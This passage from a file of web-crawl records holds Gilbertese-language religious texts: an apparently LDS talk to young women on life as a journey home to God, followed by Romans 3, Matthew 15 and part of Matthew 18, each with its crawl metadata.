akea te kabuanibwai. N tokina ti a manga bane n reitaki n te utu. Ai kakimwareireira te bong anne!\nKarakinan te Mwananga\nTera ae I a tibwa tuangkami bon te bwai ae I rinanona are irou bon te mwananga ae rangin ni kakawaki. I kona ngkai n tanrikaki ni maiu ao n uring tabeua kanoan te \"mwananga\" ae I a tia n rinanona. Tiaki ni kabane aika a irekereke ma rinanon maunga ke taian tia; tabeman iai riki ae a karaoia ma te tokanikai iaon kataki ke rikirake n te tamnei. Ma, bon taian mwananga ni kabane. I kakoaua bwa ni kabane maiu bon karakinan temanna n tatabemaniia nako \"karakinan te mwananga.\"\nI koaua raoi bwa ko ataia ae ni kabane katein te aba a onrake ma karaki ni mwananga. Te katooto, ko bae n ata mwanangan Dorothy ao ana kamea, Toto, inano The Wizard of Oz. Dorothy ao Toto a oreaki n te toneito ao ni uotaki nakon Aban Oz. Ikekei, Dorothy e kunea te kawai ae tei n okoro anne, te kawai ae babobo-burikina are e kanikinaea te kawai are n tokina e na bon uotia nakon mwengana.\nNgkanne iai Charles Dickens's Ebenezer Scrooge, are mwanangana e uotia tiaki man te tabo teuana nakon teuana ma man te tai teuana nakon teuana. Bon te mwananga man oin nanona are e buokia n ataia bwa bukin tera e riki n aekakina aei ao n ata te bwai ae na riki nakoina ngkana e teimatoa ni kawaina ni bwangantauti ao n aki kakaitau..1\nTeuana mai ibuakon karakin Tiaina aika kakaongora bon Journey to the West. E koreaki n te ka 16 tienture, e taekina tikiraoin karakinan te mwananga ao mwanangan te ibonga are, man aia ibuobuoki aman aomata aika iraorao, e mwananga ni kaineta te maiun tamnei ae kakukurei.\nEng ao iai Bilbo Baggins, te aomata ae uarereke, man nanorinano ae rangi n tatangiria n tiku ni mweengana ni kana ana tuubu. Ma imwiin te karebwerebwe n ana mataroa, e ira te wewete nakon tabo ae tuai roko iai mai imwaina ao n otinako nakon te aonaaba, n ikotaki ma te aomata ae wanawana ma aomata aika uarereke ni kakoroa nanon te mition ae kakamaku ma e kakawaki.2\nTe Karaki ae Tabangaki\nTi aki tangiri karaki ni mwananga aikai ibukina bwa ti kona ni kabotaua ma aia atatai taan mwamwananga. Aia tokanikai ao kabwakaia a kona ni buokiira ni kakaea oin kawaira rinanon te maiu. Te witeo are ti noria tabeua te miniti n nako e taekina naba te karaki ae tamaroa n te mwananga. Tao a kauringira naba n te karaki ni mwananga aika ti riai ni bane ngaira n atai—karakinan te mwananga ae ti bane ngaira n tatabemanira nako ni karaoa mwakorona ae kakawaki.\nTe karaki aei e moanaki n te tai ae maan n nako, ni maan imwain ae mino te aonaaba ni kawaina, ni maan imwain ae a moanna ni kanakoa baina aika kakamaku tai nakon te tabo ae mwaitoro, n te tai ae maan n nako imwain naang ao karau ao maan aika bubura ke a uarereke a kaona ara buraneti. Ni moan te karaki aei, ko maeka n te tabo ae moan te raroa nako ae tikiraoi.\nTi aki atai rongorongon te maiu ae mwaiti n rikira n tamnei, ma ti atai bwai tabeua. E a tia Tamara are i Karawa ni kaotia nakoira bwa antai Ngaia, antai ngaira, ao antai ae ti kona n riki n arona.\nMa n te moan aro anne, ko ataia ma te koaua ae nene bwa iai te Atua ibukina ko noria ao ko ongo Ana taeka. Ko ata Iesu Kristo, are e na riki bwa ana Tibutetei te Atua. Iai am onimaki Irouna imwina, n aron are ko ataia. Ngkai ko ataia bwa tokin kawaim tiaki te tiku n ana tararua mwengam n te maiu n tamnei. Mwaitira tangiran rikim ae akea tokina anne, ko ataia ae ko tangiria ao ni kainnanoia ni katauraoiko nakon te mwananga. Ko na nako mai imatan Tamam, rinanon te otanga ni mwaninga, karekea te rabwata ae mamate, ao n reiakina ao n rinanon bwaai aika kantaningaki bwa a na buokiko n rikirake ni katotonga Tamam are i Karawa ao n oki nako Ina.\nN te tabo ae tabu anne, ni katobibiaki irouia aika ko kinaia ao n tangiria, te titiraki ae kakannato ae ko riai n tia ni karekea ao n iangoia \"N na oki ma te kawakinaki nakon mwengau i karawa?\"\nA mwaiti bwaai aika ko na aki kona n tararuai. Te maiu ae mamate e na kaangaanga inanon te tai, ae ngkana e kaonaki ma kaangaanga aika aki kantaningaki: aoraki, uruakinnano, kabuanibwai, itabarara.\nN akea uringakin am atatai n tai aika nako—n akean uringakin are n te taina ko maeka ma Tamam are i Karawa—ko kona n uringa Bwanaana ibuakon karongoan ao kamangaongaon te maiu ae mamate aei?\nTe mwananga nako e tara n rangi n abwabwaki ao ni kananououa—e kaonaki ma te kararaoma.\nE na bon aki bebete, ma ko ataia bwa e uana karaoakina.\nNgaia, ikekei ko moana am mwananga n te maiu are akea tokina, n ingainga ma te kukurei ao te kantaninga ae a aki kona n taekinaki— ao, I iangoia, naba ma te raraoma ao te maaku.\nN tokina, ko ataia bwa te Atua e na raoiroi—ae Raoiroina e na tokanikai. Ko a tia n ira te kauntira mai Karawa ae moan te korakora ao n ataia ae e na katauraoa te kawai am Tia Kamaiu ibukim bwa ko na kaitiakaki man am bure ao ni kamaiuaki man te mate n rabwata. Iai am onimaki, ae n tokina, ko na kimwareirei ao n tabeka bwanaam ma kuaea mai Karawa n takarua te kamoamoa nakon Arana ae tabu.\nAo ngaia, ae ko ana ikem ae korakora …\nAo te mwaneka ae abwabwaki ni keerake …\nAo aio ngkoe!\nKam a tia, n tatabemaningkami, ni waaki ni kawaimi ae moan te tikiraoi n oki nakon mwengami i karawa!\nAm Mwabe\nNgkai ko a mena ikai iaon te aba, e raoiroi ae ko titirakiniko bwa e uara mwanangam. Ko mena iaon te kawai ae eti? Ngkoe te aomata ae ko a tia ni karaoaki nako iai ao n tangiria n riki nako iai? Ko karaoi rinerine are e na buokiko n oki nakon Tamam are i Karawa?\nE aki kanakoi ngkami n te mwananga aei n tiotionako n akea am kantaninga iroum. E tangiriko n oki Nakoina. E a tia n anganiko kaaro aika tangira ao taan kairiiri n te Ekaretia aika onimaki, n raonaki ma te mwabe are e kabwarabwara te aba ao ni kaoti kangaanga; te mwabe e kaotia nakoim te tabo are ko kona ni kunea iai te rau ao te kukurei ao e na buokiko ni kaota kawaim n oki nakon mwengam.\nNgkai, ko na kunea ia te mwabe aei?\n-\n•\nInanon booki aika tabu.\n-\n•\nN aia taeka burabeti ao abotoro.\n-\n•\nAo rinanon am kaotioti mairoun te Tamnei ae Raoiroi.\nTe mwabe aei bon ana euangkerio Iesu Kristo, te rongorongo ae kakukurei, ao ana kawai ae kakimwareirei ana reirei Kristo. Bon tuua ao katooto aika ti anganaki iroun ara Tia Ibuobuoki ao ara Aetuwaitia, ae ata te kawai ibukina bwa bon ngaia te kawai.3\nE koaua, karekean te mwabe e aki karaoi bwai aika raoiroi ni karokoa ae ko kamatebwaia—ni karokoa ae ko kabongana rinanon te maiu. I kaoko bwa ko na karaoia bwa te bwai ae kakawaki ni kamatebwaia ao n irii ana taeka te Atua. Kauka nanom nakon te Tamnei ae Raoiroi bwa e aonga ni kairiko inanon kawaim rinanon te maiu.\nAm mwabe e onrake n rongorongo aika kaunganano ao ni kakaongora mairoun Tamam are i Karawa ao Natina te mwaane Iesu Kristo. N te bong aei ao I tangiria n tibwauaia ma ngkoe teniua maibuakon rongorongo aikanne are e na buokiko ni karekea kawaim ae nakoraoi nakon mweengam.\nTe moan rongorongo: \"Ti riai n aki maku, ibukina bwa e mena irarikira te Uea, ao e na tei irarikira.\" 4\nTiaki ti ngkoe n te mwananga aei. Tamam are i Karawa e ataiko. E ngae ngke akea ae ongo bwanam, E ongo bwanam. Ngkana ko kukurei n te etieti, E kukurei iroum. Ngkana ko onimaki n te kataaki, E nanokawaki ma ngkoe.\nNanon tamara are i Karawa iroum e aki taraia bwa aekakira kaubwaim ke marurungim ke rabakaum. E taraiko tiaki n ai aron tarakim iroun te aonaaba; E noria bwa antai raoi ngkoe. E taraiko n nanom. 5 Ao E tangiriko 6 ibukina bwa Natina ngkoe.\nAine aika tangiraki, ukoukoria ma nanom ni koaua, ao ko na kunea . 7\nI berita nakoim, ko aki maroa.\nNgkai, tei teutana ngkai naba ao taraia aomata aikana a katobibiko. Tabeman am taan kairiri, raraom, ke kain am utu. Tabeman ko tuai mani kaitibo ma ngaia ma imwaina. E ngae n anne, ao aomata aika ko noriia irarikim—inanon te botaki aei ke n tabo tabeua, n te bong aei ke n tabo riki tabeua—a kakawaki n te aonaaba i mwain te maiu aei. Te aomata anne ae tekateka irarikim e kona n ae te aomata ae ko tangiria ao ni butimwaia n te aba n tamnei. Ko bae n tia n riki bwa te banna ni katooto!\nTeuana te bwai ae ko kona ni koaua iai: ni kabane aika ko noria—n aki tabe bwa aekakira te aomata anne, tera ana koaua, e kanga tein rabwatana, ke tarakina—bon te utu. Te ataeinaine ae ko taraia iai Tamana are i Karawa n aiarom, ao e katuka Ana bwaintangira ae tangiraki n aron ae ko karaoia, n ingainga n ruo nakon te aonaaba aei ni maeka iai bwa e aonga n te bongina ao ko na oki Nakoina.\nE ngae n anne, e kona n tiku ni maroa, n aron ae reke n tabetai iroum. E kona n tabetai ni mwaninga ibukin ana mwananga. Taiaoka kauringa neienne rinanon am taeka ao am mwakuri, ae tiaki ti ngaia. Ti mena ikai bwa ti na buokira ibon iroura n tatabemanira nako.\nE kona ni kaangaanga te maiu, ao e kona ni kamatoatoai naano n te kantaninga are tabeman aomata aki kona ni karoko te aba irouia. Tabeman ana kaonaki n te un. Tabeman a na kaenaena ao ni bwainingareia nake a kakoaua ao n tangiria te Atua. Ma iangoa te bwai aei: n ae kanga aki uringa, ngaia naba n te taina a tang ni kan oki nakon Tamaia are i Karawa.\nTiaki tabem bwa ko na rairiia tabeman. Anne ana mwakuri te Tamnei ae Raoiroi. Tabem bwa ko na tibwaua am koaua ao n aki maku. Anne ana mwakuri te Tamnei ae Raoiroi. Bwaina te iraorao nakoia ni kabane, ma tai kamangora am kainibaire. Tei ni koaua nakon katabeam ao am onimaki. Tei ni karietataki, ibukina bwa ngkoe natin te Atua te aine, ao E tei ma ngkoe.!\nTe kauoua n rongorongo: \"Kam na itangitangiri, n ai arona ngke I tangiri ngkami.\" 8\nKo a tia n iangoia bwa tera te taetae ae ti bane ni bwainna ngke ti maeka ma te Atua? Iai au namakin ae korakora iai bwa te taetae n Tiaman, e ngae ngke akea raoi ae ataia. Ma I ataia bwa ni maiura n te maiu ae mamate ti reiakinna n te moan tai, mairoun Tamaia tamneira, te taetae ae taabangaki n te aonaaba—te taetae are iai mwaakana n tokanikai iaon totoko n te nanokawaki, rabwata, ao n tamnei.\nTe taetae anne bon ana tangira ae itiaki Iesu Kristo.\nBon te kabanea ni mwaaka n taetae n te aonaaba.\nAna tangira Kristo bon tiaki te tangira ae oteaki. Tiaki te tangira n te kaati. Tiaki te aeka n tangira are e kamoamoaki n anene ao tamnei aika kinaaki.\nE uota te tangira aei te bitaki ni koaua n te katei. E kona ni katoka te kairiribai ao ni kamaunai bakantang. E kona ni katoki riribai ao n tokanikai iaon namakin ni kairiribai. E kona ni kamwakuri kakai.\nTi karekei ara moan reirei9 n te taetae n tangira aei bwa tamnei imatan te Atua, ao ikai iaon te aba e reke ara tai ni kamwakuri ao n nanonna raoi. Ko kona n ataia ngkana ko reiakina te taetae n tangira aei man iangoan te bwai ae kaunga am iango ao am mwakuri.\nNgkana boton am iango a kabotoaki iaon ae ana kanga bwaai ni kakabwaiako, am kakao e kona ni babakanikawai ao n aki tau. Anne tiaki te taetae ae ko na reiakinna.\nMa ngkana boton am iango ao arom a boboto iaon te beku iroun te Atua ao tabeman—ngkana iai nanom ni koaua ni kakabwaiaia ao ni uotia rake akana a maeka irarikim—ikai are e na kona iai ana tangiria Kristo ae itiaki ni kona ni mwakuri inanora ao ni maiura. Anne te taetae ae ko tangiria n reiakinna.\nNgkana ko a mwatai n te taetae aei ao ni kabongana n am reitaki ma tabeman, a na kina te bwai teuana inanom are e na rikirake inanoia te namakina ae e a maan n raba n ukeukera te kawai ae ineti n oki nakon mwengaia i Karawa. Imwiina, ao te taetae n tangira e a riki bwa taetae n te aba naba ae bwainaki.\nTe kairoro ae nano ao n teimatoa aei bon te taetae ae rooti tamnei ni kabane. Bon te taetae n oota, te taetae ni mwakuri, te taetae n tabekakirake ao ni kakukurei ao ni karekea te rau.\nReirei ni kabongana ana taetae Kristo n tangira ae tabangaki n te aonaaba.\nAo te kateniua n rongorongo: \"Kabebetei nanomi.\" 10\nN tabetai ao ti riki n aki taotaonaki n nano ma ara tabo are ti a mena iai n ara mwananga, ngaia anne? Ngkana 12 am ririki, ko na iangoia ae ko a roko n 14. N te 14, ko kona n iangoia ae ai 18. Ao n te 18, n tabetai ao ko kona n iangoia bwa ai manga 12 ao ni kona ni waakinna mai moana riki.\nN tainako ao e na iai bwaai aika ti na ngureakin—bwaai aika koa aki kantaningaia bwa ana riki. Ko kona ni kabanea am bong n namakina te nanokawaki, te maroa, te aki oota, ke te ribaaki. Ma anne tiaki te mwananga ae ko kantaningaia, ao tiaki te mwananga ae e a tia te Tama are i Karawa ni kanakoko bwa ko na anaia. Uringnga, ngkoe raoi natin te Atua te aine!\nN atakin aei, I kaoko bwa ko na nakonako ma te onimakinaki ao ma te kimwareirei. Eng, iai katabuki ao kiribwakeke ao riki mwiina aika kakamaku. Ma tai kabanea am iango iaoia. Tara te kukurei ae e a tia Tamam i Karawa ni katauraoia ibukim ni mwanekam ni kabane n am mwananga. Te kukurei bon tokin te kawai, ma bon te kawai naba. Te rau n te aonaaba aei, ao te maiu ae akea tokina bon n te aonaaba ae na roko bon te bwai are E taekinna n te berita.11 Anne bukina ae tuangiira bwa ti na \"kabebetei nanora.\"\nNgkana ko kabongana te mwabe ae a tia ni katauraoia ma te kukurei Tamam ae tangira ibukin mwanangam, ko na karekei am konabwai mai karawa. Ko na rikirake bwa natin te Atua te aine ae ko kantaningaia bwa ko na karekea.\nAine aika kam tangiraki, ataeinaine n te Ekaretia aika kam tangiraki, raoraou kairake aika kam tangiraki, ngkai ngai ana Abotoro te Uea I katikua iroumi te kakabwaia ae ko na kunea kawaim n te mwananga nakon mwengam aei ao n riki bwa te tia kairi ma ieta nakoia raom ni mwananga. Bon au berita ma au tataro naba ae ngkana ko karinea ao ni maiu ni koaua nakon berita aika tabu, koaua, ao kakawakin ana euangkerio Iesu Kristo, n tokin mwanangam te Tama are i Karawa e na mena ikekei. E na inga nakoim, ao ko na ataia n te taina ao ibukin bwai ni kabane ake ko a tia ni karaoi ni kona n roko ni mwengam n akea te kaangaanga. N aran Iesu Kristo, amen.\n-\n1. Taraa Charles Dickens, A Christmas Carol.\n-\n2. Taraa J. R. R. Tolkien, The Hobbit.\n-\n3. Taraa Ioane14:6.\n-\n-\n5. Taraa 1 Tamuera 16:7.\n-\n6. Taraa 1 Betero 5:6–7.\n-\n7. Taraa Ieremia 29:13.\n-\n-\n-\n-","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/broadcasts\/article\/general-young-women-meeting\/2013\/03\/your-wonderful-journey-home?lang=spa&clang=gil","date":"2013-12-18T13:38:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1387345758566\/warc\/CC-MAIN-20131218054918-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3326,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae tera ae e rine riki iai te I-Iutaia? Ao tera manen te koroberoaki? 2E bati n aaro nako. Bwa mai moana ao E mwiokoia I-Iutaia te Atua bwa a na kaawakina ana taeka. 3Bwa tera? Ngkana a aki kakaonimaki tabemwaang, ao e na uruaki ana kakaonimaki te Atua n aia aki-kakaonimaki? 4E bon aki! Ma e na ataaki bwa e koaua ana taeka te Atua, ao bon taani kewe aomata nako; n ai aron are e koreaki ni kaangai: Ane a na kaotiko am taeka bwa e eti arom; Ao ane ko na tokanikai ngkana e motikaki taekam. 5Ma ngkana e kaota aron te Atua arora aika a aki eti bwa E karaoa ae e eti, ao tera ara taeka iai? E karaoa ae e buaakaka te Atua ngke E kareke kai? (I taetae n ai aroia aomata.) 6E bon aki! Bwa ngke e aki eti aron te Atua, ao E na iranna ni motika taekan te aonnaba? 7Ma ngkana e buoka aroni kamoamoaan te Atua arou ni kewe n te aro are e a kaota raoi riki iai aron te Atua bwa E bwaabwaina te koaua, ao e aera ngkae e teimatoa naba arou ni motikaki taekau bwa te tia bure ngai? 8Ao e aera ngkai kam aki atonga ae e kaangai: Ti na karaoi baika a bubuaka bwa e aonga n roko iai te raoiroi-n ai aron are I kabuaakakaaki iai irouia aomata temwaangina ake a bukinai bwa a taku bwa au taeka. A riai motikan taekaia. 9Ao tera ngkanne? Ti raoiroi riki ngaira I-Iutaia nakoia I-Erene? Ti bon aki; bwa ti a kamani kaotiia I-Iutaia ma I-Erene, bwa a bane ni mena i aani mwaakan te bure; 10n ai aron are e koreaki ni kaangai: Akea te aomata ae e eti arona, bon akea temanna; akea ae atatai; 11Akea ae e ukoukora te Atua. 12A bane n rairaki nako mai iroun te Atua; e riki n akea bongaia. Akea ae e karaoa ae raoiroi, bon akea temanna. 13Ai aron te rua ni mate ae e uki buuaia; A mwaamwanaa te aba n neweia; Ao riaia a atongi taeka aika a kamaamate, aika ai aron aia bwai ni kamaamate naeta. 14A oni wiia n taeka ni kareke kai ma ni karereanti. 15A waekoakoa ni kaikoaki ao n tiritiri; 16A uru bwai ao a kananoanga aomata irouia n taabo nako ake a roko iai; Taian Areru 14.1-3 (ao 53.1-3) 17A aki ataa kawain te raoi. 18Akea irouia maakan te Atua. 19Ma ti ataia bwa bwaai ni kabane ake a koreaki taekaia n te Tua bon i bukiia te koraki ake a mena i aan te Tua, bwa a aonga n tuukaki aomata nako bwa a na aki karaoi aia taeka aika a na reke aonaia iai, ao a na bane ni motikaki taekaia iroun te Atua. 20Bwa akea i matan te Atua te aomata ae e na kaetaki arona n reitaki ma Ngaia ni karaoan nanon te Tua; bwa e ataaki raoi te bure n te Tua. 21Ma e a tia ni kaotaki ana kawai te Atua ni kaeti aroia aomata n reitaki ma Ngaia, ae akea rekerekena ma te tua. E boni ngae n anne ma bon iai taekana n te Tua ao irouia buraabeti. 22E kaeti aroia aomata te Atua n reitaki ma Ngaia n onimakinan Iesu Kristo irouia; ao E karaoa aei nakoia aomata ni kabaneia aika a onimakina Iesu. 23Bwa akea te kakaokoro; bwa a bane ni bure aomata nako, ao e aki reke irouia te neboaki are a na anganaki iroun te Atua. 24A bane ni kaetaki aroia n reitaki ma te Atua n ana aakoi ae e aki kabooaki; ao E karaoa aei iroun Iesu Kristo are e kainaomataiia: 25are E anga bwa E aonga n riki, ni matena, bwa te kawai are a na kabwaraaki iai aia bure aomata nako, n onimakinana. E karaoa aei te Atua bwa E na kaota iai arona n reitaki ae e raoiroi ma aomata. N taai ake a bwakanako, ao E a tia n taotaona nanona n aki mutiakini buure; 26ma n taai aikai ao E mutiakin aia bure aomata, bwa E na kaota arona ae e eti; n te aro aei ao E a kaotia iai te Atua bwa E bwaabwaina te eti, ao E kaeti aroia aomata nako aika a onimakina Iesu, n reitakiia ma Ngaia. 27Ao e ngaa te kamoamoa iai? E tuukaki! N te tua ra? N tuan te mwakuri? Tiaki; ma e tuukaki n te tua n onimaki. 28Bwa ti taku bwa e aki kaetaki aron te aomata n reitaki ma te Atua ni karaoan nanon te Tua irouna, ma e kaetaki ibukin ana onimakii. 29Ti Atuaia I-Iutaiate Atua, ao tiaki Atuaia naba aomata aika tiaki I-Iutaia? 30Eng, bon Atuaia naba aomata aika tiaki I-Iutaia. Bwa ti temanna te Atua ae e na kaeti aroia I-Iutaia n reitaki ma Ngaia n aia onimaki, ao E na kaeti naba aroia aomata aika tiaki I-Iutaia n reitaki ma Ngaia ibukin aia onimaki. 31Ti urua ngkanne iai te Tua n te onimaki? Ti aki; ma ti kateimatoaa te Tua.\nROM 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/3","date":"2013-12-12T01:29:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164330352\/warc\/CC-MAIN-20131204133850-00073-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":847,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao a roko iroun Iesu Bwaritaio ma taani koroboki tabemwaang mai Ierutarem, ao a taku, 2A aera am reirei ngkai a ri aon aia taeka n reirei ara bakatibu? Bwa a aki teboki baiia i mwaain amwarakeia. 3Ao E kaekaia ni kaangai, Ao ngkami kam aera ngkai kam ri aon ana tua te Atua ao kam iri nanon ami taeka n reirei? 4Bwa E tua te Atua ni kaangai, Ko na karinea tamam ma tinam; ao, Ane e tabeki taeka aika a buaakaka ibukin tamana ke tinana, ao ke e mate. 5Ma ngkami kam taku, Ngkana e kaangai te aomata nakon tamana ke tinana, Te baere ko na karekea mai irou bwa am bwai I a tia ni katabua ibukin te Atua. 6Ao e a tau ngkana e aki karinea tamana ke tinana. Ma ngaia are ibukin ami taeka n reirei, ao kam a tia ni kaakeaa iai ana taeka te Atua. 7Ngkami aika taani mwaamwanaa-te-aba! E eti ana taeka Itaia ngke e taekiningkami ni kaangai, 8A karineai aomata aikai n aia taeka, ma a raroa nako nanoia mai irou; 9Akea nanon aia taromauri, ibukina bwa a reirei taekan tuua ake a karaoi aomata bwa aongkoa ana tua te Atua. 10Ao E weteiia aomata nakoina, ao E taku nako ia, Kam na ongoraa, ao kam na ataia: 11Tiaki te bwai ae e rin nako nanon te wi ae e kamwaraaea te aomata; ma te bwai ae e oti nako man te wi, boni ngaia ae e kamwaraaea te aomata. 12A roko irouna ngkanne ana reirei, ao a taku, Ko ataia ae a maraki nanoia Bwaritaio iroum n am taeka ake Ko atong? 13Ao E kaekaia Iesu ni kaangai, A na bane ni koutaki aroka nako aika a aki unikaki iroun Tamau are i karawa. 14Katikuia i bon irouia; taani kairiiri aika a mataki. Ao ngkana te aomata ae e mataki e kaira ae e mataki naba, ao a na uaia ni bwaka i nanon te ruarua. 15Ma e taku Betero nakoina, Kaota nanon te taeka ni kabootau anne nakoira. 16Ao E taku Iesu, Ao ngkami kam babanga naba? 17Kam aki ataia bwa te bwai ae e rin i nanon te wi e rin nako nanon te biroto, ao i mwiina e oti nako man te rabwata? 18Ma te bwai ae e nako man te wi e nako man te nano, ao boni ngaia ae e kamwaraaea te aomata. 19Bwa a nako man te nano iango aika a buaakaka aika a kaira te aomata bwa e na tiritiri, e na wene ni bure ma te ainenumwa, e na wene ni bure ma te aine ae akea buuna, e na ira, e na bukibuki ni kewe, ao e na taekini baika a aki raraoi bwa taekaia aomata temwaangina. 20Baikai aika a kamwaraaea te aomata; ma te amwarake ma bwaai aika a aki tebokaki a bon aki kamwaraaea te aomata. 21Ao E kiitana ikekei Iesu, ao E nako n aaba ake i rarikin Turo ma Titon. 22Ao nooria, e roko te aine temanna ae te I-Kanaan man aaba akekei, ao e takaarua ni kaangai, Te Uea, ae Natin Tawita, Ko na nanoangaai! E taniaki natiu te aine iroun te taimonio, ao e a rangi ni karawaawataaki irouna. 23Ao Ngaia E aki kani kaeka naba teutana. Ao a roko ana reirei ao a butiia ni kaangai, Ko na kanakoa neiei, bwa ae e a iriiriira n tatakaarua n te aro aei. 24Ao Ngaia E kaekaia ni kaangai, I kanakoaki nakoia ti tiibu ake a bua ake Iteraera. 25Ma neierei e roko ao e bwaka ni katorobubua ni bobaraaki i matan Iesu, ao e taku, Te Uea, Ko na buokai. 26Ao Iesu E kaeka ni kaangai, E aki riai te anai kanaia ataei n tetewe nako nakoia kamea. 27Ao e taku neierei, Te koaua, te Uea; ma kamea a kangi taamrurun amwarake ake a bwaka man aia taibora aia toka. 28E kaekaa ngkanne neierei Iesu ni kaangai, Neiko, e abwaabwaki am onimaki! E na karaoaki nakoim n ai aron ane ko tangiria. Ao e a kamaiuaki natina n te tai naba arei. 29Ao E kiitana ikekei Iesu, ao E nako n ri rarikin namani Kariraia. E ararakea te maunga ao E tekateka iai. 30Ao a nakoina aomata aika a rangi ni mwaiti, ao a kairiia mwauku, ma mataki, ma ake a aki konaa n taetae, ma raoia n aoraki aika a bati, ao a katikuia i rarikini waen Iesu, ao E kamaiuiia; 31ao a miimii aomata ngke a nooriia ake a aki konaa n taetae bwa a taetae, ao ake a uruaki bwain rabwataia bwa a okiri aroia, ao mwauku bwa a nakonako, ao mataki bwa a nooraaba; ao a neboa Atuaia Iteraera. 32Ao Iesu E weteiia ana reirei nakoina, ao E taku nako ia, I nanoangaia aomata aikai, bwa a mena irou tenibong ngkai, ao akea kanaia; ao I aki kani kanakoia ngkai a baki, bwa a kaawa ni kiro i aoni kawaia. 33Ao a taku ana reirei nakoina, E na reke maia iroura n te rereua te amwarake ae e na tau i bukiia aomata aika a rangi ni mwaiti aikai? 34Ao E taku Iesu nako ia, Iraai te kariki ae iai iroumi? A taku, Itiai, ao tabeman iika aika a uarereke. 35Ao E tuangiia aomata bwa a na tekateka i aontano; 36ao E anai kariki ake itiai ma iika; ao ngke E a tia n tataro ni katituaraoi, ao E urui, ao E anganiia ana reirei, ao ngaiia a manga anganiia aomata. 37Ao a bane n amwarake ao a ngae; ao a anai n tabeki bwaene aika itikora aika a on ni mwakorokoron amwarake ake a nikirana. 38Mwaitiia te koraki ake a a tia n amwarake aua tengaa te mwane, ao iai naba aine ma ataei. 39Ao E kanakoia aomata Iesu, ao E toka n te booti, ao E nako n aaba ake i Mwakatan.\nMATAIO 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/15","date":"2013-12-12T13:41:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164587361\/warc\/CC-MAIN-20131204134307-00072-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":974,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1A roko iroun Iesu ana reirei n te tai naba arei, ao a taku, Antai te kabanea ni kakannato n uean te Atua? 2Ao E wetea te teei temanna ae e uarereke, ao e kaaki i buakoia, 3ao E taku, E koaua ae I a tuangkami, bwa ngkana kam aki bitii aromi ao kam aki katootoong aroia ataei, ao kam na bon aki rin n uean te Atua. 4Ane e kamangoria n ai aron te teei aei, ao boni ngaia ae te kabanea ni kakannato n uean te Atua. 5Ane e mwanea n aakoa te teei ae ai aron aei, n arau, ao e mwaneai n aakoai. 6Ma ane e kaira temanna i buakoia aika a uarereke aikai, aika a onimakinai, nakoni karaoan te bure, ao e raoiroi riki nakoina bwa e na katineaki te atiibu ae e rawaawata i roroana, ao e na kaiinakoaki i marawa. 7E na reke kain te aonnaba ibukini bwaai ni kabwakabwaka nakon te bure. Bwa e riai bwa a na roko kariirii, ma e na reke kain te aomata are e karokoi kariirii. 8Ao ngkana e kairiko baim ke waem nakoni karaoan te bure, ao koreia, ao tewea nako; e raoiroi riki iroum ngkana ko rin n te maiu ngkana ko mwauku, ke ngkana e uruaki bwain rabwatam teuana nakon teweakinakom nakon te ai are e aki maamate ma uaai baim, ke uaai waem. 9Ao ngkana e kairiko matam nakoni karaoan te bure, ao ko na autia, ao tewea nako; e raoiroi riki iroum ngkana ko rin n te maiu ma matam ae ti teuana nakon teweakinakom ma matam aika uoua nakon te ai are i Keenna. 10Kam na kaawakiningkami bwa kam na aki kaakeaa boonganan temanna i buakoia aika a uarereke aikai; bwa I taku nakoimi, bwa a aki toki aia anera i karawa n rooroko iroun Tamau are i karawa. 12Tera ami iango? Ngkana tebubua ana tiibu te aomata temanna, ao e tiotio nako temanna mai buakoia, tiaki bwa e na kiitaniia ake ruangauni ma ruaman i aoni maunga ao e nako ni kakaaea are temanna are e tiotio nako? 13Ao ngkana e reke irouna, ao e koaua ae I a tuangkami, bwa e kimwaareirei riki ibukin te tiibu arei, nakoia ake ruangauni ma ruaman ake aki tiotio nako. 14Ao ai aron naba Tamami are i karawa, bwa E aki tangira temanna i buakoia aika a uarereke aikai bwa e na tiotio nako mai irouna. 15Ngkana e bure tarim nakoim, ao ko na nako ni kaota ana bure nakoina n te tai ae ti ngkoe iai ma ngaia. Ngkana e ongo iroum, ao kam a manga okiri aromi n tari. 16Ma ngkana e aki ongo iroum, ao ko na kaira raom temanna, ke uoman, bwa a na riki bwa taani kakoaua nakon am taeka ni kabane ake ko bukinna iai. 17Ma ngkana e aki ongo irouia, ao ko na taekinna nakon te ekaretia; ao ngkana e rawa n ongo iroun te ekaretia, ao atongnga bwa te ianena ao te tia anai taekiti. 18E koaua ae I a tuangkami bwa akana kam tabui i aonnaba, ao a na manga katabuaki i karawa; ao akana kam kariai i aonnaba, ao a na manga kariaiaki i karawa. 19Ao I a manga taku nakoimi bwa ngkana a bo nanoia uoman i aonnaba ibukin te bwai ae a kani buubuti iai, ao e na karaoaki i bukiia iroun Tamau are i karawa. 20Bwa ike a bootaki iai uoman ke teniman n arau, ao Ngai I mena naba iai i buakoia. 21Ao e roko 